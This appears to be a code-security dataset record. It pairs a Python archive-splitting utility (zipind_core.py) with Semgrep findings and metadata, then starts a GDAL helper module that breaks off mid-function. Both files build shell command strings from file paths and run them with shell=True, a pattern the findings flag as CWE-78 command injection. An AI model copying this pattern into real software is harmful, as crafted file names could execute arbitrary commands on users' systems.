[file_folder, file_name] :return: DataFrame. Sort in a human way by [file_folder, file_name] """ def sort_human(list_): list_ = natsort.natsorted(list_) return list_ def sort_df_column_from_list(df, column_name, sorter): """ :input: df: DataFrame :input: column_name: String :input: sorter: List :return: DataFrame """ sorterIndex = dict(zip(sorter, range(len(sorter)))) df['order'] = df[column_name].map(sorterIndex) df.sort_values(['order'], ascending=[True], inplace=True) df.drop(['order', column_name], 1, inplace=True) return df list_path_file = df[column_name].tolist() sorter = sort_human(list_path_file) df = sort_df_column_from_list(df, column_name, sorter) return df def get_list_all_videos_sort(path_dir, ignore_extensions=[]): """list all file sorted Args: path_dir (str): folder path ignore_extensions (list, optional): Extensions to ignore. Defaults to ['']. Returns: list: sorted list of all files in folder """ list_all_videos = [] for root, _, files in os.walk(path_dir): for file in files: file_lower = file.lower() if extension_to_ignore(file_lower, ignore_extensions): continue path_file = os.path.join(root, file) list_all_videos.append(path_file) # natural sort # normalize latin characters df = pd.DataFrame(list_all_videos, columns=['path_file']) df['path_file_norm'] = '' df['path_file_norm'] = df['path_file'].apply(normalize_string_to_link) # process natsort df_sort = df_sort_human(df, 'path_file_norm') list_all_videos_sort = df_sort['path_file'].to_list() return list_all_videos_sort def create_archive_file_from_list_file(path_file_archive, list_files, max_size=None, mode='rar'): if mode != 'rar' and mode != 'zip': print('Error: zip mode not identified') return if len(list_files) > 1: stringa = '\n\n'.join(list_files) save_txt(stringa, 'files_to_zip') file = 'files_to_zip.txt' if mode == 'rar': create_rar_file(path_file_archive, f'@{file}', max_size) else: create_zip_file(path_file_archive, f'@{file}', max_size) os.remove(file) else: path_file_list = list_files[0] if mode == 'rar': create_rar_file(path_file_archive, f'"{path_file_list}"', max_size) else: create_zip_file(path_file_archive, f'"{path_file_list}"', max_size) def create_rar_file(path_file_archive, path_origin, max_size=None): if max_size is None: str_max_size = '' else: # Adjustment required by WinRAR # Define '1m' as 1 million bytes and not 1.048.576 max_size = max_size * ((1024**2)/(10**6)) # keep only 3 decimal to avoid bug in winrar api decimal_limit = 3 max_size = int(max_size*(10**decimal_limit))/(10**decimal_limit) str_max_size = str(max_size) # -ep0 -> preserve folders structure subprocess.call('"%ProgramFiles%\\WinRAR\\Rar.exe" a -cfg- -ep0 -inul ' + '-m0 -md4m -mt5 -r -s ' + f'-v{str_max_size}M "{path_file_archive}" ' + f'{path_origin}', shell=True) def get_seven_zip_app(): """Ref.: https://info.nrao.edu/computing/guide/file-access-and-archiving/7zip/7z-7za-command-line-guide Returns: str: 7zip callable command in cmd for actual operating systems """ dict_seven_zip_app = {'linux': '7z', 'win32': '7za'} seven_zip_app = dict_seven_zip_app[sys.platform] return seven_zip_app def create_zip_file(path_file_archive, path_origin, max_size=None): # with 7-zip seven_zip_app = get_seven_zip_app() if max_size is None: str_max_size = '' else: str_max_size = str(max_size) # -scsUTF-16LE -> Define encoding as UTF16 # -spf2 -> preserve folders structure # windows subprocess.call(f'{seven_zip_app} a -v{str_max_size}m -spf2 -mx0 ' + f'"{path_file_archive}" ' + f'{path_origin} -scsUTF-16LE', shell=True) def get_dict_tasks(path_dir, mb_per_file=999, path_dir_output=None, mode='rar', ignore_extensions=[]): """ Build a task list pack, separating files into size-limited groups. :input: path_dir: String. Folder path :input: mb_per_file: Integer. Max size of each rar file :input: path_dir_output: String. Folder path output :input: ignore_extensions: List. Extensions to ignore :return: Dict. keys: [mb_per_file, tasks] tasks: list. List of lists. [output_path_file, list_path_files] """ abs_path_dir = os.path.abspath(path_dir) abs_path_dir_mother = os.path.dirname(abs_path_dir) dir_name_base = os.path.basename(abs_path_dir) # if destination folder is not specified, # use the parent of the source folder if path_dir_output is None: archive_path_file_name_base = os.path.join(abs_path_dir_mother, dir_name_base) else: dir_name_base = get_folder_name_normalized(dir_name_base) archive_path_file_name_base = os.path.join(path_dir_output, dir_name_base) # set variables zip_file_no = 1 bytesprocessed = 0 bytesperfile = mb_per_file * (1024**2) - constant_store_expansion() rar_path_file_name = \ f'{archive_path_file_name_base}-%03d.{mode}' % zip_file_no list_path_files = [] do_create_rar_by_list = False do_create_rar_by_single = False dict_tasks = {} dict_tasks['mb_per_file'] = mb_per_file list_task = [] # build tasks to compress list_all_videos_sort = \ get_list_all_videos_sort(path_dir, ignore_extensions) for path_file in list_all_videos_sort: filebytes = os.path.getsize(path_file) # list_file it's about to get too big? compact before if bytesprocessed + filebytes > bytesperfile: do_create_rar_by_list = True do_create_rar_by_single = False if filebytes > bytesperfile: do_create_rar_by_single = True do_create_rar_by_list = False if do_create_rar_by_list: # make dir with files in list print(f'Destiny: {rar_path_file_name}\n') task = [] task.append(rar_path_file_name) task.append(list_path_files) list_task.append(task) bytesprocessed = 0 list_path_files = [] do_create_rar_by_list = False # configure to next file rar zip_file_no += 1 rar_path_file_name = \ f'{archive_path_file_name_base}-%03d.{mode}' % zip_file_no do_create_rar_by_single = False # add focus file to another list print(f'Add file {path_file}') list_path_files.append(path_file) bytesprocessed += filebytes # skip to another file continue if do_create_rar_by_single: if len(list_path_files) > 0: print(f'Destiny: {rar_path_file_name}\n') task = [] task.append(rar_path_file_name) task.append(list_path_files) list_task.append(task) # Configure to next file rar zip_file_no += 1 rar_path_file_name = \ f'{archive_path_file_name_base}-%03d.{mode}' % zip_file_no bytesprocessed = 0 list_path_files = [] list_path_files = [path_file] task = [] task.append(rar_path_file_name) task.append(list_path_files) list_task.append(task) # configure to next file rar zip_file_no += 1 rar_path_file_name = \ f'{archive_path_file_name_base}-%03d.{mode}' % zip_file_no do_create_rar_by_single = False list_path_files = [] # skip to another file continue # Case list not full and focus file is small # put file in list print(f'Add file {path_file}') list_path_files.append(path_file) bytesprocessed += filebytes # in last file, if list was not empty if len(list_path_files) > 0: # make dir with files in list print(f'Creating... {rar_path_file_name}') task = [] task.append(rar_path_file_name) task.append(list_path_files) list_task.append(task) # dict_tasks: object with tasks to compress dict_tasks['tasks'] = list_task return dict_tasks def zipind(path_dir, mb_per_file=999, path_dir_output=None, mode='rar', ignore_extensions=[]): """ Compresses a folder into independent parts. Requirement: Have Winrar installed :input: path_dir: String. Folder path :input: mb_per_file: Integer. Max size of each rar file :input: path_dir_output: String. Folder path output :input: ignore_extensions: List. Extensions to ignore :return: None """ # Creates grouped files for independent compression dict_tasks = get_dict_tasks(path_dir, mb_per_file, path_dir_output, mode, ignore_extensions) # Start Compression zipind_process(dict_tasks, mode) def zipind_process(dict_tasks, mode='rar'): mb_per_file = dict_tasks['mb_per_file'] task_len = len(dict_tasks['tasks']) for index, task in enumerate(dict_tasks['tasks']): rar_path_file_name = task[0] list_path_files = task[1] create_archive_file_from_list_file(rar_path_file_name, list_path_files, mb_per_file, mode) print(f'{index+1}/{task_len} - Done')
378
31.8
112
16
2,922
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_87f703cca7f0e2be_f451ce0a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'path_file_norm'` in `df` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 123, "line_end": 124, "column_start": 5, "column_end": 75, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmp10dxl77l/87f703cca7f0e2be.py", "start": {"line": 123, "col": 5, "offset": 3763}, "end": {"line": 124, "col": 75, "offset": 3863}, "extra": {"message": "key `'path_file_norm'` in `df` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_87f703cca7f0e2be_f392e912", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 172, "line_end": 175, "column_start": 5, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/87f703cca7f0e2be.py", "start": {"line": 172, "col": 5, "offset": 5392}, "end": {"line": 175, "col": 50, "offset": 5627}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_87f703cca7f0e2be_85292277", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 172, "line_end": 172, "column_start": 16, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmp10dxl77l/87f703cca7f0e2be.py", "start": {"line": 172, "col": 16, "offset": 5403}, "end": {"line": 172, "col": 20, "offset": 5407}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_87f703cca7f0e2be_f628170e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 175, "line_end": 175, "column_start": 45, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/87f703cca7f0e2be.py", "start": {"line": 175, "col": 45, "offset": 5622}, "end": {"line": 175, "col": 49, "offset": 5626}, "extra": {"message": "Found 'subprocess' function 'call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_87f703cca7f0e2be_35d89439", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 203, "line_end": 205, "column_start": 5, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/87f703cca7f0e2be.py", "start": {"line": 203, "col": 5, "offset": 6327}, "end": {"line": 205, "col": 63, "offset": 6506}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_87f703cca7f0e2be_70168920", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 203, "line_end": 203, "column_start": 16, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmp10dxl77l/87f703cca7f0e2be.py", "start": {"line": 203, "col": 16, "offset": 6338}, "end": {"line": 203, "col": 20, "offset": 6342}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_87f703cca7f0e2be_43357528", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 205, "line_end": 205, "column_start": 58, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/87f703cca7f0e2be.py", "start": {"line": 205, "col": 58, "offset": 6501}, "end": {"line": 205, "col": 62, "offset": 6505}, "extra": {"message": "Found 'subprocess' function 'call' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
7
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 172, 175, 203, 205 ]
[ 175, 175, 205, 205 ]
[ 5, 45, 5, 58 ]
[ 50, 49, 63, 62 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functio...
[ 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "HIGH", "LOW", "HIGH" ]
[ "HIGH", "LOW", "HIGH", "LOW" ]
zipind_core.py
/zipind_core.py
maraes/zipind
MIT
2024-11-18T21:22:25.687113+00:00
1,688,373,111,000
c663bd0ba7dfb974ac9432bfb27b490a145bb098
3
{ "blob_id": "c663bd0ba7dfb974ac9432bfb27b490a145bb098", "branch_name": "refs/heads/master", "committer_date": 1688373111000, "content_id": "59774877420c87896c50999b72a22b6bf1ae402c", "detected_licenses": [ "MIT" ], "directory_id": "6aab09501c21d22410740b4dc4adb968dc192774", "extension": "py", "filename": "gdalport.py", "fork_events_count": 4, "gha_created_at": 1569330342000, "gha_event_created_at": 1688373113000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 210605126, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12989, "license": "MIT", "license_type": "permissive", "path": "/src/veranda/raster/gdalport.py", "provenance": "stack-edu-0054.json.gz:588001", "repo_name": "TUW-GEO/veranda", "revision_date": 1688373111000, "revision_id": "286812fc4fc58923dbb2491ed9bcd67c79a2459d", "snapshot_id": "a5075303e7ee1cf94b150ffed550bb56451f63be", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/TUW-GEO/veranda/286812fc4fc58923dbb2491ed9bcd67c79a2459d/src/veranda/raster/gdalport.py", "visit_date": "2023-07-11T20:00:28.529827" }
2.53125
stackv2
""" Some handy functions using GDAL to manage geospatial raster data. """ import os import subprocess from typing import Tuple from osgeo import gdal from osgeo.gdalconst import GA_Update NUMPY_TO_GDAL_DTYPE = {"bool": gdal.GDT_Byte, "uint8": gdal.GDT_Byte, "int8": gdal.GDT_Byte, "uint16": gdal.GDT_UInt16, "int16": gdal.GDT_Int16, "uint32": gdal.GDT_UInt32, "int32": gdal.GDT_Int32, "float32": gdal.GDT_Float32, "float64": gdal.GDT_Float64, "complex64": gdal.GDT_CFloat32, "complex128": gdal.GDT_CFloat64} GDAL_TO_NUMPY_DTYPE = {gdal.GDT_Byte: "uint8", gdal.GDT_Int16: "int16", gdal.GDT_Int32: "int32", gdal.GDT_UInt16: "uint16", gdal.GDT_UInt32: "uint32", gdal.GDT_Float32: "float32", gdal.GDT_Float64: "float64", gdal.GDT_CFloat32: "cfloat32", gdal.GDT_CFloat64: "cfloat64"} GDAL_RESAMPLE_TYPE = {"nearest": gdal.GRA_NearestNeighbour, "bilinear": gdal.GRA_Bilinear, "cubic": gdal.GRA_Cubic, "cubicspline": gdal.GRA_CubicSpline, "lanczos": gdal.GRA_Lanczos, "average": gdal.GRA_Average, "mode": gdal.GRA_Mode } def dtype_np2gdal(np_dtype) -> object: """ Get GDAL data type from a NumPy-style data type. Parameters ---------- np_dtype : str NumPy-style data type, e.g. "uint8". Returns ------- str : GDAL data type. """ return NUMPY_TO_GDAL_DTYPE.get(np_dtype.lower()) def rtype_str2gdal(resampling_method) -> object: """ Get GDAL resample type from resampling method. Parameters ---------- resampling_method : str Resampling method, e.g. "cubic". Returns ------- object : GDAL resampling. """ return GDAL_RESAMPLE_TYPE.get(resampling_method.lower()) def try_get_gdal_installation_path(gdal_path=None) -> str: """ Tries to find the system path to the GDAL utilities if not already provided. Parameters ---------- gdal_path : str, optional The path where your GDAL utilities are installed. By default, this function tries to look up this path in the environment variable "GDAL_UTIL_HOME". If this variable is not set, then `gdal_path` must be provided as a key-word argument. Returns ------- gdal_path : str Path to installed GDAL utilities. """ if not gdal_path: gdal_path = _find_gdal_path() if not gdal_path: err_msg = "GDAL utility not found in system environment!" raise OSError(err_msg) return gdal_path def convert_gdal_options_to_command_list(options) -> list: """ Prepares command line arguments for a GDAL utility. Parameters ---------- options : dict, optional A dictionary storing additional settings for the process. You can find all options at http://www.gdal.org/gdal_utilities.html Returns ------- cmd_options : list of str Command line options for a GDAL utility given as a list of strings. """ # define specific options, which need to be quoted _opt_2b_in_quote = ["-mo", "-co"] cmd_options = [] for k, v in options.items(): is_iterable = isinstance(v, (tuple, list)) if k in _opt_2b_in_quote: if (k == "-mo" or k == "-co") and is_iterable: for i in range(len(v)): cmd_options.append(" ".join((k, string2cli_arg(v[i])))) else: cmd_options.append(" ".join((k, string2cli_arg(v)))) else: cmd_options.append(k) if is_iterable: cmd_options.append(' '.join(map(str, v))) else: cmd_options.append(str(v)) return cmd_options def string2cli_arg(string) -> str: """ Decorates the given string with double quotes. """ return f'"{string}"' def call_gdal_util(util_name, src_files, dst_file=None, options=None, gdal_path=None) -> Tuple[bool, str]: """ Call a GDAL utility to run a GDAL operation (see http://www.gdal.org/gdal_utilities.html). Parameters ---------- util_name : str Pre-defined name of the utility, e.g. "gdal_translate", which converts raster data between different formats, potentially performing some operations like sub-settings, resampling, or rescaling pixels. src_files : str or list of str The name(s) of the source data. It can be either a file path, URL to the data source or a sub-dataset name for multi-dataset file. dst_file : str, optional Full system path to the output file. Defaults to None, i.e. the GDAL utility itself deals with defining a file path. options : dict, optional A dictionary storing additional settings for the process. You can find all options at http://www.gdal.org/gdal_utilities.html gdal_path : str, optional The path where your GDAL utilities are installed. By default, this function tries to look up this path in the environment variable "GDAL_UTIL_HOME". If this variable is not set, then `gdal_path` must be provided as a key-word argument. Returns ------- successful : bool True if process was successful. output : str Console output. """ options = options or dict() gdal_path = try_get_gdal_installation_path(gdal_path) # prepare the command string cmd = [] gdal_cmd = os.path.join(gdal_path, util_name) if gdal_path else util_name cmd.append(string2cli_arg(gdal_cmd)) cmd.extend(convert_gdal_options_to_command_list(options)) # add source files and destination file (in double quotation) if isinstance(src_files, (tuple, list)): src_files_str = " ".join(src_files) else: src_files_str = string2cli_arg(src_files) cmd.append(src_files_str) if dst_file is not None: cmd.append(string2cli_arg(dst_file)) output = subprocess.check_output(" ".join(cmd), shell=True, cwd=gdal_path) successful = _analyse_gdal_output(str(output)) return successful, output def _find_gdal_path() -> str: """ Looks-up the GDAL installation path from the system environment variables, i.e. if "GDAL_UTIL_HOME" is set. Returns ------- path : str GDAL installation path, where all GDAL utilities are located. """ env_name = "GDAL_UTIL_HOME" return os.environ[env_name] if env_name in os.environ else None def _analyse_gdal_output(output) -> bool: """ Analyses console output from a GDAL utility, i.e. it tries to determine if a process was successful or not. Parameters ---------- output : str Console output. Returns ------- bool : True if the process completed success, else False. """ # return false if "Error" is found. if 'error' in output.lower(): return False # return true if "100%" is found. elif '100 - done' in output.lower(): return True # otherwise return false. else: return False def _add_scale_option(options, stretch=None, src_nodata=None) -> dict: """ Adds scale (and no data value) settings to dictionary containing command line options for gdal_translate. Parameters ---------- options : dict Dictionary with gdal_translate command line options. src_nodata: int, optional No data value of the input image. Defaults to None. If it is not None, then it will be transformed to 0 if it is smaller than minimum value range or to 255 if it is larger than the maximum value range. stretch : 2-tuple of number, optional Minimum and maximum input pixel value to consider for scaling pixels to 0-255. If omitted (default), pixel values will be scaled to the minimum and maximum value. Returns ------- options : dict Dictionary with gdal_translate command line options. """ stretch = stretch or (None, None) min_stretch, max_stretch = stretch options["-scale"] = ' ' if (min_stretch is not None) and (max_stretch is not None): options['-scale'] = (min_stretch, max_stretch, 0, 255) # stretching should be done differently if nodata value exist. # depending on nodatavalue, first or last position is reserved for nodata value if src_nodata is not None: if src_nodata < min_stretch: options['-scale'] = (min_stretch, max_stretch, 1, 255) options['-a_nodata'] = 0 elif src_nodata > max_stretch: options['-scale'] = (min_stretch, max_stretch, 0, 254) options['-a_nodata'] = 255 return options def gen_qlook(src_file, dst_file=None, src_nodata=None, stretch=None, resize_factor=('3%', '3%'), ct=None, scale=True, output_format="GTiff", gdal_path=None) -> Tuple[bool, str]: """ Generates a quick-look image. Parameters ---------- src_file: str The name(s) of the source data. It can be either a file path, URL to the data source or a sub-dataset name for multi-dataset file. dst_file: str, optional Full system path to the output file. If not provided, the output file path will be a combination of `src_file` + '_qlook'. src_nodata: int, optional No data value of the input image. Defaults to None. If it is not None, then it will be transformed to 0 if it is smaller than minimum value range or to 255 if it is larger than the maximum value range. stretch : 2-tuple of number, optional Minimum and maximum input pixel value to consider for scaling pixels to 0-255. If omitted (default), pixel values will be scaled to the minimum and maximum value. resize_factor : 2-tuple of str, optional Size of the output file in pixels and lines, unless '%' is attached in which case it is as a fraction of the input image size. The default is ('3%', '3%'). ct : gdal.ColorTable, optional GDAL's color table used for displaying the quick-look data. Defaults to None. scale : bool, optional If True, pixel values will be scaled to 0-255 if `stretch` is given. output_format : str Output format of the quick-look. At the moment, 'GTiff' (default) and 'JPEG' are supported. gdal_path : str, optional The path where your GDAL utilities are installed. By default, this function tries to look up this path in the environment variable "GDAL_UTIL_HOME". If this variable is not set, then `gdal_path` must be provided as a key-word argument. Returns ------- successful : bool True if process was successful. output : str Console output. """ output_format = output_format.lower() f_ext = {'gtiff': 'tif', 'jpeg': 'jpeg'} gdal_path = try_get_gdal_installation_path(gdal_path) # check if destination file name is given. if not use the source directory if dst_file is None: dst_file = os.path.join(os.path.dirname(src_file), os.path.basename(src_file).split('.')[0] + '_qlook.{}'.format(f_ext[output_format])) # prepare options for 